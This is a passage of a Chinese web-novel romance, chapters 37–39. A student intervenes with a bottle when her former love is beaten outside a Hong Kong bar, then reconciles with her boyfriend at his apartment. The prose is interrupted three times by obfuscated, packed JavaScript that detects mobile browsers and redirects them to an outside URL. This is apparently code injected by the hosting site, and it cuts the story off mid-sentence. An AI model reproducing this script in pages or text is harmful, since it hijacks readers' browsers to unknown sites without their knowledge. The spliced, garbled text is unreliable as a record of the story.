池咏珊说:“你要严谨一点,我们只是从没见过他身边有异性出现过。” 陈嘉言点头:“有段时间铭仔住他们家,我们还以为他们俩是一对呢。” 铭仔听了立刻跳了起来:“喂,你不要乱讲哦!我告你毁谤的啊!” 他们你一句我一句,小初根本插不上嘴,干脆低头大大喝了一口酒,然后就被陈嘉言所谓的烟熏果木风味惊艳到了,这东西好像加了什么令人上瘾的东西,刚入口有点怪,越喝越欲罢不能。 没一会儿,杯子就见了底。 余萧弋叫她慢点喝。 乐队到了乐手即兴Solo环节,从他们这个角度看过去,刚好可以越过栏杆看到位于一楼的舞台,几个乐队成员都是白人面孔,唯有这个吉他手是个留长发的亚裔男,看着确实有几分不羁的潇洒,好多人跟着互动欢呼,气氛热烈。 小初的情绪被调动起来,让陈嘉言再推荐两款酒过来,她今晚干脆都尝尝好了。 陈嘉言有些得意:“他们家的调酒师就是有些东西在的,不然你以为我们为什么总来。”说着就招手叫来了服务生,又帮小初要了两款她觉得还不错的酒,“尤其这款。”她的指尖落在酒单上,“里面会有小熊软糖的哦。” 余萧弋有些无奈,问小初:“你不怕明天误事了啊?” “没关系,我明天晚点去好了,反正其实我也帮不上什么忙。”小初单手撑住下巴,盈盈如水般看向他。 整个世界都开始光怪陆离。 余萧弋被她难得的温柔裹住了呼吸,一时竟不忍阻止,但还是给她设了限度,“喝完这两杯无论如何都不能再喝了,知道吗?” 三杯低度鸡尾酒,应该还不是什么大问题,她顶多会有点微醺。 “好,我听话。” 这句话,就像是沾了水的小猫爪子,骤然在他心口抓了一下。 他一阵心悸,不敢再看她,低头喝了大半杯酒。 小初很快感受到了漂浮的快乐,跟林佳宜给她喝的那瓶不一样,这里的酒度数低,口感特别,不会一下子将她击倒,而是抽丝一般,让她一点点地放松下来。 “余萧弋。”她抓住他,不确定自己的眼神有没有迷离,但很确定她的大脑还是清醒的,“我前二十年大多数时间都在低头读书,这还是我第一次知道成年人的世界有这么多让人快乐的东西,我爸说,我要是在这边学坏了,他准要打断我的腿,只是喝两杯酒,算不上学坏吧?” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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下一秒,就已经大步走下舞台,伸手揽住了叶子瑜的脖子,带着他向酒吧门口走去。 观众还以为他们是朋友,看着叶子瑜腿脚不便,自觉让了一条路来给他们。 小初的瞳孔却蓦地收缩了起来,酒瞬间醒了大半。 他们不是朋友。 因为朋友不会毫不顾忌另一个人腿上的伤,以那样的姿势把他拖出去。 那个吉他手一看平时就是健身的,敞口马甲下的手臂和胸腹部都是紧实的肌肉,很有力量感,只是个子不高,比叶子瑜这个北方大男孩足足矮了半个头,要不是叶子瑜腿上带着伤,是绝对不可能被他挟持住的。 这什么情况? 小初未及多想,站起身就大步向楼下跑去,离开前还没忘顺走窗边一支用来装饰氛围的空酒瓶,她也不知道自己为什么会有这样本能的反应,但本能就是本能,她嗅到了危险,仿佛再晚一秒,叶子瑜就要从这个世界上消失了。 等余萧弋反应过来的时候,她已经跑到两层楼中间了。 铭仔在他们身后大喊:“方太初怎么了,她看见谁了?” 余萧弋已经没空回答他,他只是感觉自己浑身的血液正在加速倒流。 一群人赶紧跟着跑了出去。 男人把叶子瑜丢到门外,上去就一阵拳打脚踢,一边打,还一边用粤语骂着什么。 门口不明所以的食客都躲到了一边去,谁也没有上来劝解。 有人掏出手机开始拍照和录视频。 喝了酒的神经格外兴奋,所有人看上去都很快乐。 叶子瑜嘴角的血流了下来,他爬了两步想去抓不远处的拐杖,还未等他触到,男子就泄愤似的将拐杖踢到了更远的地方。 他的狼狈模样不仅没有激起围观人群的同情心,有个喝醉了酒的老外甚至放声大笑。 叶子瑜知道他不会让他抓到拐杖了,索性也不再挣扎,用普通话质问道,“你把Oliver带到哪去了?你没资格这么做!” 男子叫骂着:“关你他妈什么事,我儿子我想带去哪就带去哪!” “他是阿沅一手带大的,你只是他生物学上的父亲,他长这么大,你有尽过一天做父亲的责任吗?” 男子被激怒,抬脚就往叶子瑜受伤的那条腿踹过去,“你这个大陆来的死扑街,同我玩嘢?阿沅也是你叫的?” “子瑜!”小初冲出门去,眼泪早已糊了整张脸,然后她想都没想,手里的酒瓶就照着男子的脑袋敲了下去。 “别碰他。”她几乎是从牙缝里挤出的这三个字。 地上的男孩曾经是北方天空下最磊落和骄傲的那棵白杨,更是她无比美好的一整个青春,他们凭什么这么欺负他? “方太初!” 玻璃的碎裂声没有等来,等来的却是余萧弋一声很无助的叹息,“你疯了?” 她整个人都被他从背后抱在了怀里,双臂被死死箍住,酒瓶低垂着,这一秒,随着她手指一松,才落在地上,竟然也没有碎,而是荒诞地顺着长坡滚了下去。 滚了很远很远,还没有停。 铭仔一群人上去拦住了那个打人的吉他手。 那一脚最终没有踹下去。 小初如梦初醒,却不知道该怎么回头去面对那张绝望的脸。 叶子瑜抹了抹流血的唇角,眼底猩红,却仍然用力朝她笑着:“方太初,你怎么也在这?” 小初一直一直在哭,虽然,她也说不清她是在为什么而哭了。 原来,成年人的世界不仅有快乐。 有的更多是,永远填不满的遗憾和回不去的从前。 还有怎么做都无可避免会伤害到的人。 长大,太痛了。 38.第 38 章 余萧弋松开小初,绕到她面前,俯下身来看着她的眼睛,镇静地告诉她:“没事了。” 在与他目光相对的那一刹,小初终于从怔忡中回过神来,眼泪虽在汹涌,大脑总算开始启动和加载。 后怕在这会儿才真正袭来,她不敢想象刚刚那个酒瓶真的碎在那个男人的脑袋上,事态现在会发展成怎么样。最终要花钱解决是肯定的,钱对她而言倒不是问题,但精力和时间没有办法用钱衡量。 还要面对后续可能的无穷无尽的麻烦。 叶子瑜和他的因果真的值得她如此吗? 她不知道。 但那一瞬间的本能,不会骗人。她很清楚,她相信另外两个当事人也清楚。 她对他还是爱情吗? 她不知道。 她只知道,她绝不吝于把自己所剩无几的少年意气全部送给叶子瑜,祝他和他的阿沅得偿所愿,可如果当事人换成余萧弋呢,她还愿意付出搭上自己的代价成全他和杨敏中吗? 小初静了静,让自己的惊惶不安和混乱艰涩的情感缓缓从四肢流回心脏,暂时封存。 手脚终于可以动了,她立刻回过身去抹了抹脸上残留的眼泪。 余萧弋已经把叶子瑜从地上扶了起来,铭仔递过一旁的拐杖,叶子瑜道谢,借着支撑稳稳站好,又用拇指用力抹了抹嘴角的血迹,然后,意味不明地笑了笑,看向那个吉他手的目光深邃中又带着些许戏谑,显然根本就没有把他放在眼里。 小初心中一动。 酒吧老板从里面走了出来,覆在吉他手耳边耳语了一会儿,不用猜,她也知道他跟他都说了些什么,因为很快,吉他手的目光就凝重了下来,并谨慎打量了下余萧弋一行人。 小初走到叶子瑜身边,眼角余光掠过心情显然不太好的余萧弋,才开口:“你怎么样?腿有没有二次受伤?”她向前一步,又认真看了看他,“牙没被人家打掉吧?” 叶子瑜还没说话,余萧弋先面无表情看了她一眼。 小初只装作浑然不觉,继续说道:“你能不能争点气,怎么到哪都能被人欺负,在北京被人家按在胡同口揍,到这来被人家按在酒吧门口揍,你就算真跟他有什么私人恩怨,也等你腿伤好了再说啊?再不济你也要喊人啊,你是真当你孤家寡人没朋友了是吗?北京太远,深圳总够近吧?凑一两百个人有点夸张,凑十个八个总不成问题吧,你真是气死我了。” 话音一落,所有人的表情都变得很古怪。 铭仔和陈嘉言他们也凑了过来,团团将他们三人围住,问余萧弋,“Theo,这位是?” 余萧弋沉默了一瞬,自然而然开口,“方太初的表哥。” 什么东西? 小初和叶子瑜都不敢相信自己听到了什么,睫毛均剧烈一颤。 他竟然为了自己作为男人的面子,给她们虚构了一门表亲? “原来是表哥!”铭仔义愤填膺走上前去,直指吉他手的面门,“你跟我表哥什么私人恩怨,能坐下来解决吗?或者让双方的律师谈?如果没记错,香港还是法治社会吧?今天他无缘无故被你打成这样,这事没完。”铭仔看向酒吧老板,“一会儿警察来了,记得提供下你店门口的监控录像。” 酒吧老板陪笑道:“林先生,Alan在我们这表演很久了,向来是个很守规矩的人,这里面一定有什么误会。” 铭仔说:“是不是误会,你和我都说了不算。” “是,是。” 那个Alan始终没再说话,似是以缄默最大程度地保护着自己,态度到底没了最开始的嚣张。 他的乐队成员也从酒吧里走了出来,无声地站在了他身边,萨克斯手是个满脸大胡子的老外,不笑的样子很有些不好惹。 两班人马以酒吧老板为中心,分散而立,气势上谁都没输。 叶子瑜抬眸过去看向Alan,眼底的冷意不减,言语却很克制:“你稍微等下,警察几分钟之内就会到现场。关于Oliver抚养权变更的问题,阿沅的态度不会有任何改变,作为父亲,还请你以小朋友的身心健康为第一考虑,不要去试图改变他的成长环境。而且你也看见了,你的作息这么混乱,脾气又这么暴躁,你觉得法庭会支持你吗?” Alan惊疑不定地看向他:“你是报了警来的?” 叶子瑜不答,只是示意小初和余萧弋陪他往远离人群的地方走了几步,“今天谢谢你们啊,不然,我这条腿恐怕还得再断一次。” 小初眸底闪过一抹碎光:“但我怎么感觉你还挺想再断一次的呢。” 叶子瑜笑:“你感觉错误,这条腿已经耽误我很多事了,再断一次……我估计我会疯,我心理承受能力没有你想得那么强大。” 余萧弋沉吟了一下:“叶同学还有什么需要我们帮助的吗?” 叶子瑜微微敛眸,笑容不减,“不必了余同学,今天已经够狐假虎威的了,我这个人呢不太喜欢麻烦人,自己的事情还是更想自己处理。” 小初大概也明白了他想做什么,低声问他:“你竟然愿意为了她……” 叶子瑜打断她,丝毫没有犹豫,“我愿意,她的事就是我的事。” 小初愣了愣,世界突然安静得不像话。 一颗心很空,不是难过,不是失望,只是她突然意识到,他并不是不会暴烈地爱一个人,他只是不爱她。 “就算如此。”小初抿了抿唇,“你也要给自己留点退路吧?万一真出什么事,你要连筝阿姨他们怎么办?” 叶子瑜自嘲:“这个你大可放心,连筝和叶城森没了我,只会活得更从容。他们有他们自己的亲生女儿,感情还不至于无处投放。方太初,我早过了特把自己当回事的那个阶段了。” 这是什么没良心的话? “你说得很对。”小初抬手,照着他的头就打了一下,“这世上就你的阿沅需要你,值得你付出和在乎,其他人,一概不重要。” 叶子瑜和余萧弋都没想到她会这么做,同时目光复杂地看向她。 不远处的铭仔一行人也露出了惊诧和不解的神色,这怎么好好的,表妹还打起表哥来了,刚刚不是还拎着酒瓶要为他拼命呢吗? “刚才那一下是替连筝阿姨打的。”小初的眼泪无声无息流了下来,眼角和唇角却是勾着的,几年以来压抑的情感都在着一刻释放开来,“这一下是为我自己。” 她扬起手,想要去打他的脸,最后却还是无力停住,眼泪在唇边堆积成一个小小的湖,再落到锁骨上,然后一路向下,“算了,叶子瑜。我们扯平了。你的腿之前因为我而受伤,今天我把我所有不顾后果的冲动都还给了你,从今往后,不会再有一个蠢不可及的方太初来烦你,影响你做任何你觉得正确的决定。祝你和你的阿沅,幸福。” 叶子瑜若有所思地看了看她,就算克制到了极致,还是再一次陪着她一块红了眼睛。 “我没有说你烦。” 小初摆手,“不重要了。”又转向余萧弋,“我要回去了,你呢,是陪你朋友在这继续喝一会儿,还是跟我一块走?” 余萧弋似笑非笑看她一眼,目光微沉,“恐怕方小姐你一时走不了呢,监控录像肯定把你冲动行凶的画面都拍下来了,你不留下来跟阿Sir解释,后面也会被对方找上门去的。” “……”小初瞪他,“你乱说什么?我不是行凶好吧,我只是……” “你只是什么?” “我只是坐太久了肩膀痛,出来锻炼下身体而已。我跟那个叫什么Alan的无冤无仇,我行什么凶,我离他还有一两米远呢好吧,我又不是长臂猿,手可以伸那么长。” 余萧弋眯了眯眸子,“OK,一会儿阿Sir来了,你就这么跟他说。” 一行人终究是等警察到现场做了笔录才各自散去。 小初对叶子瑜和陈沅君前夫之间的纠葛不感兴趣,临行前只说了句:“希望你们都是真心为了小朋友好,而不是赌一时之气。大人之间自我感动争来争去,在小朋友那里未必是什么值得歌颂的事,他只会害怕,觉得自己才是问题所在,害爸爸妈妈反目成仇。” 说完这句话,她就拦住了路边的计程车,将自己塞了进去。余萧弋也跟着她坐到了车子后排。 Alan和叶子瑜都看着她离开的方向发了会儿呆。 出租车司机问小初目的地是哪里,小初没答,余萧弋于是替她报了她宿舍名字。 车子启动。 接下来,两人都没说话,各自看着窗外想着心事。 快到小初宿舍,余萧弋却突然改了主意,报了另外一个地址给司机,“麻烦帮我改到这里。” 小初愕然看向他。 司机开晚班就已经很不耐烦了,还要应付这样搞不清状况的乘客,下一秒就要发火,不期一张大额港币已经递到面前,余萧弋的嗓音清冷而不带任何情感,所有的客气只是出于教养,“麻烦。” 司机立刻笑逐颜开: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16374112|182866||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “哎呀,哪有麻烦,两个地点本来就不远,很方便的。” 下了车,小初才知道,原来他住的地方就在学校附近,和她的宿舍就隔了条街,上次他们一块吃韩餐的地方,就能清晰看见这栋公寓在夜色中的剪影。 “租的?” 余萧弋咳嗽一声,“嗯。”顿了顿,又补充道,“应该也住不久了,毕竟你知道……” “我知道。”小初打断他,“明年你就要去美国了。” 余萧弋沉默。 两人站在街边,没有上楼的意思,却也没有挪动半分,这边离山顶比较近,山风吹过来,将小初的头发高高吹起,月亮形状的钻石耳饰闪着璀璨的光。 小初有些脆弱,向前一步将下巴抵在他的胸前,声音很低:“为什么改主意?” 余萧弋身体一僵,坦诚道:“我不知道。” 小初的眼泪落下来,浸湿了他的黑色线衫,“你还想我进入你的生活吗?” “方太初,你想没想过刚刚那个酒瓶真的敲在那个人的头上,你要怎么收场?”余萧弋的声音很疲惫,第一次没有抱她。 小初在他怀里蹭了蹭,瓮声瓮气,“没想。大概率,要赔钱吧?” “赔钱?”余萧弋笑得荒谬,“若他死了呢?” “死?”小初惊住,仰头看向他,“他会死?电视剧里可不是这么演的。” “电视剧里是道具,角色死不死取决于导演和编剧,现实里,只是摔个跤都可能意外死亡,你怎么知道你不会恰好要了他的命?” 小初没办法回答他这个假设性的问题,因为她下楼的那一刻,确实完全没有想过这件事可能造成的后果。 “叶子瑜有那么重要吗?”余萧弋淡笑,没有低头,只微微垂眸看着她的眼睛,“你竟然可以为了他完全不顾自己?” 小初说不出话。 “所以,你不是慢热,只是你没办法同样那么暴烈地爱我……”余萧弋本想再云淡风轻一点的,可就在这一秒,话只说一半,眼睛就已经红得不成样子,眼泪一滴一滴落下来,落在她的脸上,再慢慢流向她唇边。 “不是的。”小初一边哭一边否认,“事情不是你想的那样。” “方太初。”他哽住声音,“我也不是没有人爱的人,我也有我的骄傲和自尊,可你却这么对我,还要当着我那么多朋友。刚刚我说他是你表哥的时候,你知道我心里有多鄙视自己吗?可如果不那样,我简直不知道自己该以怎样的立场继续站在那里,你对我很残忍,你知道吗?” “我知道,对不起。”小初哭到不能自已,又垫脚去吻他的唇,可这一次,他再没有给她任何回应,只是那样双手插袋站在那里无动于衷地看着她。 像一具矗立了几千年的雕塑,任自己怎么努力,都没有办法变成真正的人类,与人类情感相通。 他尽力了。 小初知道。 一切都被她搞砸了。 现在该怎么办? “你要分手也可以的,只要你说出来,我现在就走,绝不会回头,再不会给你造成什么伤害和困扰。”小初抚了抚他的脸,“你说吧,这样以后回忆起来,起码你心里还能平衡一点,告诉自己是你甩的我。这件事错误在我,我就不应该在没处理清楚上一段感情的前提下同意和你交往,这对你不公平,对我自己也不公平,对不起。” 小初退后两步,回身过去抹了抹眼泪。 再看向他,情绪已经平复了很多。 “余萧弋,再见。”她朝他弯了弯眼睛,然后点开了打车软件。 她要尽快离开这里。 不能让他看见自己更脆弱的样子,她今天已经丢了足够的脸了,不能再丢更多了。 余萧弋说不出再见。 他只是用力掐着自己的手心,逼迫自己向通往公寓的小路大步走去。 可还没走出去五十米,他就猛然转了身,很快,小初就被他横着抱进了怀里,吻铺天盖地落了下来。 万幸,接她的车还没有来。 小初不明白他为什么突然改变了主意,只是紧紧地抓住了他的衣服,闭上了眼睛。 接下来的一路摇摇晃晃,她始终紧张地并着腿,直至耳边传来他操作密码锁的声音。 一条白色小狗风一样从屋里跑了出来,看着出现在门口的陌生人,不解地歪了歪头。 “Enzo,这就是我和你说的,方太初。” 小狗围着他们转起了圈。 39.第 39 章 小初静静伏在余萧弋肩头,看了会儿地上的小狗,又大概看了下他居住的环境,直至他轻声提醒她,“要不要先下来?” 小初有些不好意思,这才从他身上滑了下来,在地板上站定。 这是一间一室一厅的小公寓,面积不大,目测也就五六十平,但格局还算明晰。房子里的生活气息很浓,却并不会给人杂乱无章的感觉,到处都很干净,连垃圾桶都清洁如新。 客厅里没有电视,原本电视墙的位置由书架和音响代替,书架上的书粗粗看过去品类很杂,但明显都有翻动过的痕迹。 阳台放的是小狗的窝和跑步机,晾衣杆上挂着他几件家居服,小初的目光在碰到他的内裤和袜子时凝滞了一下,又倏忽避开。她有点想象不了外表如此朗月清风的男人……也会和这样的生活细节联系到一起。 小狗来扯她的裙角,小初垂眸,视线轻转时自然而然看见了插着电的电子琴以及沙发脚边的哑铃。 倒扣在茶几上的书翻了一大半,书脊上印的赫然是——繁体字版本的《我与地坛》。 小初心头不知被什么戳中,有些温软,她蹲下身来,打招呼道,“你好呀,Enzo。” 余萧弋从鞋柜里拿了双酒店拖鞋来,亲自拆开包装俯身放到她脚边,“你换这个吧。” 小初拘谨地应声,没敢看他的眼睛,“你也会带酒店拖鞋回来吗?” “当然,因为舒服啊。” 小初撑住墙,微微弯腰去解凉鞋的带子,因为是单手操作,指尖在那个带扣上停留了很久也没解开。 余萧弋等了一会儿,最终还是一句话没说蹲下去帮她把两只鞋的带子都解了,他手指碰到她脚踝的时候,两人的呼吸都滞涩地停了停。 小初坐到沙发上,余萧弋倒了杯水给她,不经意问道,“房间里味道会奇怪吗?” “啊?为什么会奇怪?” “因为……是男生宿舍啊,尤其我还养狗。” 小初摇摇头,“没有,除了有点狗味,其他还好。” 余萧弋和她对视了两秒,转身又回到了玄关处,他来回走动的时候,小狗就亦步亦趋跟在后面,画面看着很可爱。 小初一开始还没明白他意欲何为,直至他打开一瓶类似喷雾的东西。 “Enzo,趴下。” 小初放下水杯也走了过去,已经意识到了什么,“这是……” 余萧弋淡声答道:“宠物除臭剂。” 果然…… “我就随口那么一说,你不用当真。”小初的脸都快红透了,“这东西没有副作用吧?” “没有,这是宠物专用的,成分主要是蛋白酶,配方很安全的。” 余萧弋给小狗喷喷雾的时候,它就乖乖配合他趴在那里,可爱得简直有些犯规。小初一颗心柔软下来,也跟着蹲下了身子,摸了摸它的头,又握了握它的爪子。 “它性格真好,好像都不怎么怕生的。”小初眼底滑过一丝了然,“一定是你经常带朋友回来,它已经习惯了吧?” “你是第一个。”余萧弋抬眸看她一眼,“我没有向谁都开放私人领地的喜好。” “我不是那个意思。”小初腹诽,他今晚怎么这么尖锐,但还是好脾气地解释道:“我是说铭仔他们,陈嘉言不是说有段时间你们俩住在一起吗?” “那都是好几年前的事了,说的是我爸妈那边。” 小初“哦”了一声,站起身来。 余萧弋也跟着起了身,又把门口的地垫和阳台的狗窝喷了点喷雾。 小初的目光始终跟随着他,却又不知道该跟他说些什么,他身上的衣服刚刚被她抓得有些皱,反而给他增添了很多柔软,不然,单是看着他那张冷冰冰的脸,她就已经要抬腿走人了。 她长这么大,从来都是被爱被照顾情绪的那一个,就算是叶子瑜,在两人关系捅破之前,对她也是极为在意和迁就的。 她知道自己肯定不算什么缺乏同理心的人,但也不可否认,她在维护人际关系上的确欠缺一点耐心,不是她不肯,而是她就没有这方面的经验。 所以,她知道他现在很受挫,心情很不好,但是她不知道该怎么安慰,怎么哄。 事已至此,她还能说什么呢,不过是他一句话,要继续还是不要,不要的话她现在就走好了,她看了看表,已经十点半了,再晚就到宿舍夜间门禁时间了。 余萧弋从阳台走过来,刚好捕捉到小初在看表,眸色顿时晦暗下来,问她:“你在干嘛?” 小初抿抿唇,有些紧张,“没,就是我觉得我该回去了。” “你才进门不到五分钟。”他向她走来。 “我知道。”小初感受到压力,退后半步,“但是今天已经很晚了。” “方太初,喜欢我对你而言有这么痛苦吗?” 他已走到她面前。 眼底的侵略性已氤氲到了十足。 小初有些害怕,再向后半步,抵在了餐桌上,“你说笑什么,凭你余公子,整个香江只有你挑剔别人的份吧,谁会把喜欢你当成一种痛苦。” “是吗?”余萧弋笑笑,“可是我并没有感受到你有把我些东西放在心上过。” 小初说:“我装的,我还没有露出我的獠牙。” “那你想要什么?”余萧弋的声音逐渐低不可闻。 “什么?” “你想要什么,我都可以给你,只要你能像义无反顾爱别人那样爱我。” 他贴上她,指腹停在她的唇角。 “余萧弋,你疯了?”小初难以置信,“你又不是没人爱的人,何必把姿态放得这么低。” “我的确不是,可我愿意为自己这辈子第一次这么深刻的动心付出一点代价。” 小初坦诚,“很遗憾,我不喜欢在恋爱关系里让渡太多自我的人。” 余萧弋冷笑,“所以你才喜欢叶子瑜,因为他从来不会为你停留,改变,甚至不会顾及你的感受,你就只喜欢这种不把你放在心上的人是吧?方太初,你是不是从小到大得到的爱太多了,所以想找一点虐?不这样,你不舒服?” 小初愣住,他的直白让她无所适从,她感觉到了危险,却不知道该怎么逃出他的禁锢,整个背都是紧绷的。 “你要什么?钱,或是其他的什么?还是你要我也像他那样不在乎你?” 他知不知道他在说什么? 小初本来应该很生气的,可不知怎么只剩下无力感。 “余萧弋,别这样。”她推了推他,“这样没意思,你当初也说了的,你只要我半点心,你现在要的已经超出了。” 他自嘲笑笑,“可你连半点心都没有给我。” “你是不是喝酒喝出脑雾来了?”小初没好气瞪他一眼,“半点心没给你,你觉得我会跟你……”她说不下去,耳朵忽地烧起来,最后她也不想解释了,只说:“反正你要这么想我也没有办法。我说了我不喜欢在恋爱关系里让渡太多自我的人,我最多也只能给你半点心,另外一半还要留给我自己,时间不早了,我先回去了。”她指了指一旁地上的Enzo,“你的狗都熬不住了,它一直在打瞌睡。” 她的语速太快,余萧弋一时根本没反应过来她在说什么,只是下意识低头看了眼小狗,发现它确实一直在打瞌睡,这会儿听见他们两个提起它的名字才又勉强睁开了眼睛。 “Enzo,你回你自己窝里去睡。” 小狗得到了指令,这才一路小跑往阳台去了。 小初实在没忍住,笑出声来。 余萧弋难以置信,点了点她的额头,“还笑?” “它可爱嘛,我还不能笑一下?” “我也可爱,你怎么不对我笑。” 小初咬了咬唇,“我笑了,你看不见,我喜欢你,你也看不见,那我还能怎么办。” “你说什么?”余萧弋的瞳孔骤然一缩,本来还在谷底的情绪瞬间冲上云霄,他不自觉收紧了放在她腰间的手,声音哑下来,“再说一遍?我没太明白。” 小初也不知道自己这么哄人到底有没有效果,但她向来是个解题高手,最擅长举一反三,见他眼底阴霾这么快就有了散开的趋势,就知道自己大概又试对了,接下来她也不着急了,反而懵懂看了他一眼,“说什么?我刚才说了那么多。” “就……” 未等他说完,她就接上去,眉间都是戏谑,“哦,我说时间太晚了,你的狗都熬不住了,我也熬不住了,我要回去睡觉了。” 这一句,他倒是听得很明白,未及她反应过来他要做什么,就已经托住她腰部以下的浑圆将她轻轻放在了餐桌上,用吻回应了一切。没一会儿,空气里就只剩下了两人唇舌交融的水声。 小初被他吻得几乎支撑不住,又担心他的餐桌不够结实,不得不腾出一只手来向后撑住,却不小心碰到什么东西,被封在袋子里的半个面包连同纸巾盒齐齐从餐桌边缘滑了下去,发出一阵混乱的响声,可Enzo大概已经困极了,竟然在此种情况下都没有跑过来查看查看到底发什么,也不知是对它爹有多放心。 “可不可以不回去?” 余萧弋的吻一路从她的侧颈到她的耳骨,一种身体难以承受的酥麻感从比心底更深的地方涌了出来,小初第一次知道人的这个位置也会这么敏感,不自觉轻哼出声,绷直的脚尖摩擦过他的裤子上的纹路,所到之处,都变成了燃烧的荒原。 热浪灼烧得人几乎无法喘息。 “不可以。”小初艰难说出这三个字,“我还不想做那件事……” 这样的节奏是不对的,他们还这么年轻,相识时间又短,未来还有那么多不确定性,就要这么快尝到那颗成人糖吗?她甚至还不知道它会是什么滋味,甜的,辣的,还是苦的,吃了之后会不会有副作用和后遗症。 她不想两人这么快被情欲裹挟,从此后只是一个眼神的简单交错,事情都会无可避免朝那个唯一的方向而去,直至连那件唯一的事也开始变得乏味无趣。 余萧弋停住动作,没好气在她唇上印了印,“本来也没想做那件事,我在你心里是什么人啊方太初。” “男人,不可信任之人。”小初的目光不经意瞥了眼他腰腹以下,“你们身体里都住着一个思想混沌的野兽,满脑子都是下流想法。” 余萧弋扯过她的手,放在自己右侧的太阳穴上,“可是男人也是人,他也有感情和理智,也有道德和责任的束缚,真正爱你的人,是不会想着伤害你的。我答应你,只要你不想要,我们就一直不做,一辈子的时间很长,这世上有意思的事也不止这一件。” 小初犹疑地看向他。 余萧弋伸手越过她头顶,从餐桌上的柜子里拿出一瓶酒来递给她,“这个给你防身,一旦你察觉到我有什么危险,就用这个保护你自己,反正酒瓶爆头这件事你看上去也挺有经验的,毕竟是跟阿Sir做过笔录的人。” 小初本来还认真听着,可他越说越离谱,她实在没忍住,抬手轻轻在他脸上拍了拍,“你在拿我寻开心是不是?” 他捉住她的手,前所未有的认真,“你记着,以后这只手要打,也只能打我,下次再见到那个姓叶的,绕远一点走。” 小初咬咬牙:“那我现在就能成全你。” “可以留下来吗?”他仍在等她的答案。 小初咬咬唇,没吭声。 “那我就当你同意了啊。”他眉眼骤然明亮起来,点了点她的鼻子,“先去洗澡,记得洗干净一点,我不想要你掌心还残留着刚刚打过别人的味道。” “……” 小初看了看那瓶酒,很认真问道:“好像空酒瓶才比较顺手吧?” 余萧弋呼吸一滞:“你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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“要我帮忙吗?”小初抱着浴巾,踌躇地问了句。 “你要帮忙?我一个人没问题的。”余萧弋猜不透她在想什么。 小初的脸有些红,“我……也可以帮忙的,两个人做不是能快一点嘛,你这个床……怎么这么大,晚上一个人睡得过来吗?” “因为我高啊,不想睡得太局促。” “哦。”小初想了想又问了句:“那你今天晚上怎么办?外面的沙发那么短。” 余萧弋的睫毛剧烈颤抖了一下,轻咳了一声,“一晚上而已,我能忍。” 小初认真思考了一下,像分析某道答案不唯一的难题,又引入了一个不能忽视的变量,“那我下次再来你还能忍吗?” “……”余萧弋感觉有点呼吸困难,“下,下次吗?” 小初点头:“对啊,余萧弋,我想和你好好恋爱的,不是一次两次,是很多很多次,我们会一块出去旅行,会有很多机会很亲密地相处,我不想你一直忍。” 两人隔着一张床,静静相望着。 余萧弋吞了吞口水,喉结涌动,“所以,你的意思是……” 小初打断他的旖旎情思,语气平静得像个还没有插入情感芯片AI:“要不你换个房子吧,房租我A一半好了。” “……” 余萧弋头朝下很无语地倒在了床上,半晌才朝她挥了挥手:“洗澡去吧,乖。” 小初抱着浴巾到了客厅,从包里找到了卸妆湿巾,想了想又去阳台拿了取了一身他的家居服下来,这样的上衣和短裤的搭配可以减少她很多尴尬。 余萧弋的品味很不错,家居服都是很有设计感的大牌,大牌的东西时尚起来向来很中性,她对着镜子在身上比了比,还没穿,就已经被自己帅到了。 她在心里由衷感谢了她爸妈,给了她这么一个优越的身高和骨相,让她可以毫无压力地驾驭大码男装。 他家的花洒水绵密又舒服,确实比在她们宿舍公共卫生间洗澡的感受好多了,热水流过身体的时候,小初忍不住发出一声喟叹,陌生的环境和气息让她有点紧张,镜子里曲线玲珑的女孩也瞪大眼睛羞涩地看着她,她用力晃了晃头,让自己专注洗澡,用力忘记就在另一个房间的床上,还有个秀色可餐的男人。 她嘴上说他不可信任,其实她对自己也没什么信心。因为,只要他一靠近,她的意志力就会软弱得不像话。 ——绝对不能被他蛊惑,一定要守好自己的底线。 她掌心攥着湿漉漉的内裤,像是背诵某个晦涩难懂的法条。 “方太初,你好了吗?” 突如其来的敲门声吓了小初一跳,连语气都变得紧张,“好,好了,怎么了?” “没事,我就看你洗时间太长了,怕你晕倒。” “马上出来。” 小初手忙脚乱擦干身体穿上衣服,又用浴巾裹了裹头发,才抱着她的裙子和内衣若无其事走出去。 她出去的时候,余萧弋正坐在沙发上翻那本《我与地坛》,门把手转动声响起,他便条件反射似的抬起了头,目光对视的下一秒,他就又别开了视线,不再敢看她湿漉漉的模样。 “床单换好了?”小初问他。 “嗯。”他合上书页,站起身。 小初自认为自己已经包裹得无懈可击,又不想两人之间气氛太暧昧,只能尽力找些无关紧要的话题来聊:“这本书好看吗?” “好看,作者文笔很好。” 小初轻笑:“那不然呢,你也不看看作者大名?” 余萧弋迅速瞥她一眼:“下次去北京,一定去地坛看看。” “下次我带你去。” “真的?” “嗯。”小初偏头,指尖揉搓着半湿的浴巾,问他:“我没看见你的洗衣筐。” “给我就好。” 他下意识伸手,两人指尖相碰。 空气内温热的水汽蒸腾着,她发梢的水不小心滴到他的手背上,明明是静音的,却又同时让两颗心一阵震颤。 画面突然莫名很像某部氛围感潮湿的青春电影,青涩和情欲混杂涌动,那么矛盾却又那么和谐,一切都在自然而然地发生。